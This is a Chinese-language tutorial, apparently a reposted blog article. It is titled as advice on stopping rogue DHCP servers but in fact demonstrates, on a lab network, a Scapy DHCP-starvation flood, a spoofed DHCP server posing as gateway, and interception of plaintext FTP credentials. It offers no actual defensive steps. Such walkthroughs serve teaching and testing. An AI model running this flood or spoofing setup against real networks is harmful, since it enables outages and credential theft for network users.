怎么防止非法的dhcp服务器 (dhcp服务器安全教程)

禁用dhcp服务器,dhcp服务器攻击

在链路层进行攻击时,可以跳过更高级别配置的所有防御。在本文中,我们将研究针对这一最低级别网络的两种攻击媒介 —— 耗尽 DHCP Starvation )和 DHCP 服务器欺骗( DHCP Spoofing )。

要理解此文章 需要具备计算机网络的背景知识,特别是要了解交换和路由的工作原理。

DHCP 耗尽

这种攻击基于分发大量 DHCPDISCOVER 消息,以耗尽 DHCP 服务器上的地址空间。 DHCP 服务器将响应每个请求并发布一个 IP 地址。一旦地址空间已满, DHCP 服务器将不再能够通过向其发布 IP 地址来为其网络上的新客户端提供服务。

禁用dhcp服务器,dhcp服务器攻击 DHCP 耗尽 攻击

让我们在一个小型本地网络上测试这种攻击。 DHCP 服务器已在 GW 上配置。子网 - 10.1.1.0/24

禁用dhcp服务器,dhcp服务器攻击 用于对 DHCP 进行攻击的多边形

Scapy 的帮助下,我们将导致虚假 DHCPDISCOVER 的分发。目标 MAC 地址和目标 IP 地址将是广播地址。

让我们添加一个 UDP 协议层,因为 DHCP 使用它。在选项模板中,我们表明我们将发送 DISCOVER DHCP 数据包

最后,我们将循环生成帧的无休止发送。

>>> malicious_dhcp_discover = Ether( src = RandMAC (), dst = "FF:FF:FF:FF:FF:FF")

>>> malicious_dhcp_discover /= IP( src = "0.0.0.0",dst = "255.255.255.255")

>>> malicious_dhcp_discover /= UDP(sport = 68, dport = 67)

>>> malicious_dhcp_discover /= BOOTP(op = 1, chaddr = RandMAC ())

>>> malicious_dhcp_discover /= DHCP(options = [('message-type', 'discover'),('end')])

>>> sendp ( malicious_dhcp_discover , iface = "eth0", loop = 1, verbose = 1)

禁用dhcp服务器,dhcp服务器攻击 DHCP 耗尽 期间的流量转储

禁用dhcp服务器,dhcp服务器攻击 DHCP 服务器地址空间溢出。第 1 部分

禁用dhcp服务器,dhcp服务器攻击 DHCP 服务器地址空间溢出。第 2 部分

DHCP 服务器被禁用,现在 可以开始创建它的虚假副本。

DHCP 欺骗

在禁用合法的 DHCP 服务器后,攻击者可以在他身边建立一个假的 DHCP 服务器,并声明它是默认网关。当 DHCP 服务器向网络上的主机发布 IP 地址时,它还会传输有关默认网关 IP 地址的信息。

因此,在设置这样的 DHCP 服务器时,我们会将我们的 IP 地址指定为默认网关。客户端通过向我们发出请求收到地址后,我们将成为他这边的默认网关,他会将他的数据包发送给我们。这为 MITM 攻击创造了理想的条件。

让我们来 来建立一个假的 DHCP 服务器。

禁用dhcp服务器,dhcp服务器攻击 创建一个虚假的 DHCP 服务器

禁用dhcp服务器,dhcp服务器攻击 伪造的 DHCP 服务器配置

现在,在 Windows 10 机器上,使用两个命令,我们将调用 IP 地址更新,也就是说,我们将尝试从我们创建的假 DHCP 服务器获取地址:

C:\Windows\system32> ipconfig / release

C:\Windows\system32> ipconfig / renew

禁用dhcp服务器,dhcp服务器攻击 客户端通过 DHCP 接收地址

所见,客户端收到了一个 IP 地址和有关默认网关的信息。现在 可以尝试拦截流量,因为所有客户端流量都会流向我们。

让我们将接口切换到混杂模式并允许在接口上转发流量:

c0ldheim@PWN:~$ sudo ifconfig eth0 promisc

c0ldheim@PWN:~$ sudo sysctl - w net.ipv4.ip_forward = 1

结果,我们能够使用 nightmare:nightmare creds 拦截未加密的 FTP 流量。

禁用dhcp服务器,dhcp服务器攻击 捕获 FTP 服务器的凭据

结论

根据个人的经验, 可以说 L2 协议 经常没有得到应有的关注,并且在大多数情况下都使用默认配置。 这可以被黑客使用。